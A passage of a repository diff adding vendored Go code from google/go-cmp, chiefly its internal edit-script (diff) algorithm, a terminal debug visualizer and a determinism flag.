func (dbg *debugger) Begin(nx, ny int, f EqualFunc, p1, p2 *EditScript) EqualFunc {
dbg.Lock()
dbg.fwdPath, dbg.revPath = p1, p2
top := "┌─" + strings.Repeat("──", nx) + "┐\n"
row := "│ " + strings.Repeat("· ", nx) + "│\n"
btm := "└─" + strings.Repeat("──", nx) + "┘\n"
dbg.grid = []byte(top + strings.Repeat(row, ny) + btm)
dbg.lines = strings.Count(dbg.String(), "\n")
fmt.Print(dbg)
// Wrap the EqualFunc so that we can intercept each result.
return func(ix, iy int) (r Result) {
cell := dbg.grid[len(top)+iy*len(row):][len("│ ")+len("· ")*ix:][:len("·")]
for i := range cell {
cell[i] = 0 // Zero out the multiple bytes of UTF-8 middle-dot
}
switch r = f(ix, iy); {
case r.Equal():
cell[0] = '\\'
case r.Similar():
cell[0] = 'X'
default:
cell[0] = '#'
}
return
}
}
func (dbg *debugger) Update() {
dbg.print(updateDelay)
}
func (dbg *debugger) Finish() {
dbg.print(finishDelay)
dbg.Unlock()
}
func (dbg *debugger) String() string {
dbg.p1, dbg.p2 = *dbg.fwdPath, dbg.p2[:0]
for i := len(*dbg.revPath) - 1; i >= 0; i-- {
dbg.p2 = append(dbg.p2, (*dbg.revPath)[i])
}
return fmt.Sprintf("%s[%v|%v]\n\n", dbg.grid, dbg.p1, dbg.p2)
}
func (dbg *debugger) print(d time.Duration) {
if ansiTerminal {
fmt.Printf("\x1b[%dA", dbg.lines) // Reset terminal cursor
}
fmt.Print(dbg)
time.Sleep(d)
}
+398
View File
@@ -0,0 +1,398 @@
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package diff implements an algorithm for producing edit-scripts.
// The edit-script is a sequence of operations needed to transform one list
// of symbols into another (or vice-versa). The edits allowed are insertions,
// deletions, and modifications. The summation of all edits is called the
// Levenshtein distance as this problem is well-known in computer science.
//
// This package prioritizes performance over accuracy. That is, the run time
// is more important than obtaining a minimal Levenshtein distance.
package diff
import (
"math/rand"
"time"
"github.com/google/go-cmp/cmp/internal/flags"
)
// EditType represents a single operation within an edit-script.
type EditType uint8
const (
// Identity indicates that a symbol pair is identical in both list X and Y.
Identity EditType = iota
// UniqueX indicates that a symbol only exists in X and not Y.
UniqueX
// UniqueY indicates that a symbol only exists in Y and not X.
UniqueY
// Modified indicates that a symbol pair is a modification of each other.
Modified
)
// EditScript represents the series of differences between two lists.
type EditScript []EditType
// String returns a human-readable string representing the edit-script where
// Identity, UniqueX, UniqueY, and Modified are represented by the
// '.', 'X', 'Y', and 'M' characters, respectively.
func (es EditScript) String() string {
b := make([]byte, len(es))
for i, e := range es {
switch e {
case Identity:
b[i] = '.'
case UniqueX:
b[i] = 'X'
case UniqueY:
b[i] = 'Y'
case Modified:
b[i] = 'M'
default:
panic("invalid edit-type")
}
}
return string(b)
}
// stats returns a histogram of the number of each type of edit operation.
func (es EditScript) stats() (s struct{ NI, NX, NY, NM int }) {
for _, e := range es {
switch e {
case Identity:
s.NI++
case UniqueX:
s.NX++
case UniqueY:
s.NY++
case Modified:
s.NM++
default:
panic("invalid edit-type")
}
}
return
}
// Dist is the Levenshtein distance and is guaranteed to be 0 if and only if
// lists X and Y are equal.
func (es EditScript) Dist() int { return len(es) - es.stats().NI }
// LenX is the length of the X list.
func (es EditScript) LenX() int { return len(es) - es.stats().NY }
// LenY is the length of the Y list.
func (es EditScript) LenY() int { return len(es) - es.stats().NX }
// EqualFunc reports whether the symbols at indexes ix and iy are equal.
// When called by Difference, the index is guaranteed to be within nx and ny.
type EqualFunc func(ix int, iy int) Result
// Result is the result of comparison.
// NumSame is the number of sub-elements that are equal.
// NumDiff is the number of sub-elements that are not equal.
type Result struct{ NumSame, NumDiff int }
// BoolResult returns a Result that is either Equal or not Equal.
func BoolResult(b bool) Result {
if b {
return Result{NumSame: 1} // Equal, Similar
} else {
return Result{NumDiff: 2} // Not Equal, not Similar
}
}
// Equal indicates whether the symbols are equal. Two symbols are equal
// if and only if NumDiff == 0. If Equal, then they are also Similar.
func (r Result) Equal() bool { return r.NumDiff == 0 }
// Similar indicates whether two symbols are similar and may be represented
// by using the Modified type. As a special case, we consider binary comparisons
// (i.e., those that return Result{1, 0} or Result{0, 1}) to be similar.
//
// The exact ratio of NumSame to NumDiff to determine similarity may change.
func (r Result) Similar() bool {
// Use NumSame+1 to offset NumSame so that binary comparisons are similar.
return r.NumSame+1 >= r.NumDiff
}
var randBool = rand.New(rand.NewSource(time.Now().Unix())).Intn(2) == 0
// Difference reports whether two lists of lengths nx and ny are equal
// given the definition of equality provided as f.
//
// This function returns an edit-script, which is a sequence of operations
// needed to convert one list into the other. The following invariants for
// the edit-script are maintained:
// • eq == (es.Dist()==0)
// • nx == es.LenX()
// • ny == es.LenY()
//
// This algorithm is not guaranteed to be an optimal solution (i.e., one that
// produces an edit-script with a minimal Levenshtein distance). This algorithm
// favors performance over optimality. The exact output is not guaranteed to
// be stable and may change over time.
func Difference(nx, ny int, f EqualFunc) (es EditScript) {
// This algorithm is based on traversing what is known as an "edit-graph".
// See Figure 1 from "An O(ND) Difference Algorithm and Its Variations"
// by Eugene W. Myers. Since D can be as large as N itself, this is
// effectively O(N^2). Unlike the algorithm from that paper, we are not
// interested in the optimal path, but at least some "decent" path.
//
// For example, let X and Y be lists of symbols:
// X = [A B C A B B A]
// Y = [C B A B A C]
//
// The edit-graph can be drawn as the following:
// A B C A B B A
// ┌─────────────┐
// C │_|_|\|_|_|_|_│ 0
// B │_|\|_|_|\|\|_│ 1
// A │\|_|_|\|_|_|\│ 2
// B │_|\|_|_|\|\|_│ 3
// A │\|_|_|\|_|_|\│ 4
// C │ | |\| | | | │ 5
// └─────────────┘ 6
// 0 1 2 3 4 5 6 7
//
// List X is written along the horizontal axis, while list Y is written
// along the vertical axis. At any point on this grid, if the symbol in
// list X matches the corresponding symbol in list Y, then a '\' is drawn.
// The goal of any minimal edit-script algorithm is to find a path from the
// top-left corner to the bottom-right corner, while traveling through the
// fewest horizontal or vertical edges.
// A horizontal edge is equivalent to inserting a symbol from list X.
// A vertical edge is equivalent to inserting a symbol from list Y.
// A diagonal edge is equivalent to a matching symbol between both X and Y.
// Invariants:
// • 0 ≤ fwdPath.X ≤ (fwdFrontier.X, revFrontier.X) ≤ revPath.X ≤ nx
// • 0 ≤ fwdPath.Y ≤ (fwdFrontier.Y, revFrontier.Y) ≤ revPath.Y ≤ ny
//
// In general:
// • fwdFrontier.X < revFrontier.X
// • fwdFrontier.Y < revFrontier.Y
// Unless, it is time for the algorithm to terminate.
fwdPath := path{+1, point{0, 0}, make(EditScript, 0, (nx+ny)/2)}
revPath := path{-1, point{nx, ny}, make(EditScript, 0)}
fwdFrontier := fwdPath.point // Forward search frontier
revFrontier := revPath.point // Reverse search frontier
// Search budget bounds the cost of searching for better paths.
// The longest sequence of non-matching symbols that can be tolerated is
// approximately the square-root of the search budget.
searchBudget := 4 * (nx + ny) // O(n)
// Running the tests with the "cmp_debug" build tag prints a visualization
// of the algorithm running in real-time. This is educational for
// understanding how the algorithm works. See debug_enable.go.
f = debug.Begin(nx, ny, f, &fwdPath.es, &revPath.es)
// The algorithm below is a greedy, meet-in-the-middle algorithm for
// computing sub-optimal edit-scripts between two lists.
//
// The algorithm is approximately as follows:
// • Searching for differences switches back-and-forth between
// a search that starts at the beginning (the top-left corner), and
// a search that starts at the end (the bottom-right corner). The goal of
// the search is connect with the search from the opposite corner.
// • As we search, we build a path in a greedy manner, where the first
// match seen is added to the path (this is sub-optimal, but provides a
// decent result in practice). When matches are found, we try the next pair
// of symbols in the lists and follow all matches as far as possible.
// • When searching for matches, we search along a diagonal going through
// through the "frontier" point. If no matches are found, we advance the
// frontier towards the opposite corner.
// • This algorithm terminates when either the X coordinates or the
// Y coordinates of the forward and reverse frontier points ever intersect.
// This algorithm is correct even if searching only in the forward direction
// or in the reverse direction. We do both because it is commonly observed
// that two lists commonly differ because elements were added to the front
// or end of the other list.
//
// Non-deterministically start with either the forward or reverse direction
// to introduce some deliberate instability so that we have the flexibility
// to change this algorithm in the future.
if flags.Deterministic || randBool {
goto forwardSearch
} else {
goto reverseSearch
}
forwardSearch:
{
// Forward search from the beginning.
if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 {
goto finishSearch
}
for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ {
// Search in a diagonal pattern for a match.
z := zigzag(i)
p := point{fwdFrontier.X + z, fwdFrontier.Y - z}
switch {
case p.X >= revPath.X || p.Y < fwdPath.Y:
stop1 = true // Hit top-right corner
case p.Y >= revPath.Y || p.X < fwdPath.X:
stop2 = true // Hit bottom-left corner
case f(p.X, p.Y).Equal():
// Match found, so connect the path to this point.
fwdPath.connect(p, f)
fwdPath.append(Identity)
// Follow sequence of matches as far as possible.
for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y {
if !f(fwdPath.X, fwdPath.Y).Equal() {
break
}
fwdPath.append(Identity)
}
fwdFrontier = fwdPath.point
stop1, stop2 = true, true
default:
searchBudget-- // Match not found
}
debug.Update()
}
// Advance the frontier towards reverse point.
if revPath.X-fwdFrontier.X >= revPath.Y-fwdFrontier.Y {
fwdFrontier.X++
} else {
fwdFrontier.Y++
}
goto reverseSearch
}
reverseSearch:
{
// Reverse search from the end.
if fwdFrontier.X >= revFrontier.X || fwdFrontier.Y >= revFrontier.Y || searchBudget == 0 {
goto finishSearch
}
for stop1, stop2, i := false, false, 0; !(stop1 && stop2) && searchBudget > 0; i++ {
// Search in a diagonal pattern for a match.
z := zigzag(i)
p := point{revFrontier.X - z, revFrontier.Y + z}
switch {
case fwdPath.X >= p.X || revPath.Y < p.Y:
stop1 = true // Hit bottom-left corner
case fwdPath.Y >= p.Y || revPath.X < p.X:
stop2 = true // Hit top-right corner
case f(p.X-1, p.Y-1).Equal():
// Match found, so connect the path to this point.
revPath.connect(p, f)
revPath.append(Identity)
// Follow sequence of matches as far as possible.
for fwdPath.X < revPath.X && fwdPath.Y < revPath.Y {
if !f(revPath.X-1, revPath.Y-1).Equal() {
break
}
revPath.append(Identity)
}
revFrontier = revPath.point
stop1, stop2 = true, true
default:
searchBudget-- // Match not found
}
debug.Update()
}
// Advance the frontier towards forward point.
if revFrontier.X-fwdPath.X >= revFrontier.Y-fwdPath.Y {
revFrontier.X--
} else {
revFrontier.Y--
}
goto forwardSearch
}
finishSearch:
// Join the forward and reverse paths and then append the reverse path.
fwdPath.connect(revPath.point, f)
for i := len(revPath.es) - 1; i >= 0; i-- {
t := revPath.es[i]
revPath.es = revPath.es[:i]
fwdPath.append(t)
}
debug.Finish()
return fwdPath.es
}
type path struct {
dir int // +1 if forward, -1 if reverse
point // Leading point of the EditScript path
es EditScript
}
// connect appends any necessary Identity, Modified, UniqueX, or UniqueY types
// to the edit-script to connect p.point to dst.
func (p *path) connect(dst point, f EqualFunc) {
if p.dir > 0 {
// Connect in forward direction.
for dst.X > p.X && dst.Y > p.Y {
switch r := f(p.X, p.Y); {
case r.Equal():
p.append(Identity)
case r.Similar():
p.append(Modified)
case dst.X-p.X >= dst.Y-p.Y:
p.append(UniqueX)
default:
p.append(UniqueY)
}
}
for dst.X > p.X {
p.append(UniqueX)
}
for dst.Y > p.Y {
p.append(UniqueY)
}
} else {
// Connect in reverse direction.
for p.X > dst.X && p.Y > dst.Y {
switch r := f(p.X-1, p.Y-1); {
case r.Equal():
p.append(Identity)
case r.Similar():
p.append(Modified)
case p.Y-dst.Y >= p.X-dst.X:
p.append(UniqueY)
default:
p.append(UniqueX)
}
}
for p.X > dst.X {
p.append(UniqueX)
}
for p.Y > dst.Y {
p.append(UniqueY)
}
}
}
func (p *path) append(t EditType) {
p.es = append(p.es, t)
switch t {
case Identity, Modified:
p.add(p.dir, p.dir)
case UniqueX:
p.add(p.dir, 0)
case UniqueY:
p.add(0, p.dir)
}
debug.Update()
}
type point struct{ X, Y int }
func (p *point) add(dx, dy int) { p.X += dx; p.Y += dy }
// zigzag maps a consecutive sequence of integers to a zig-zag sequence.
// [0 1 2 3 4 5 ...] => [0 -1 +1 -2 +2 ...]
func zigzag(x int) int {
if x&1 != 0 {
x = ^x
}
return x >> 1
}
+9
View File
@@ -0,0 +1,9 @@
// Copyright 2019, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package flags
// Deterministic controls whether the output of Diff should be deterministic.
// This is only used for testing.
var Deterministic bool
Loaded 100 of 1863 files, more files were not shown because too many files have changed in this diff. Show more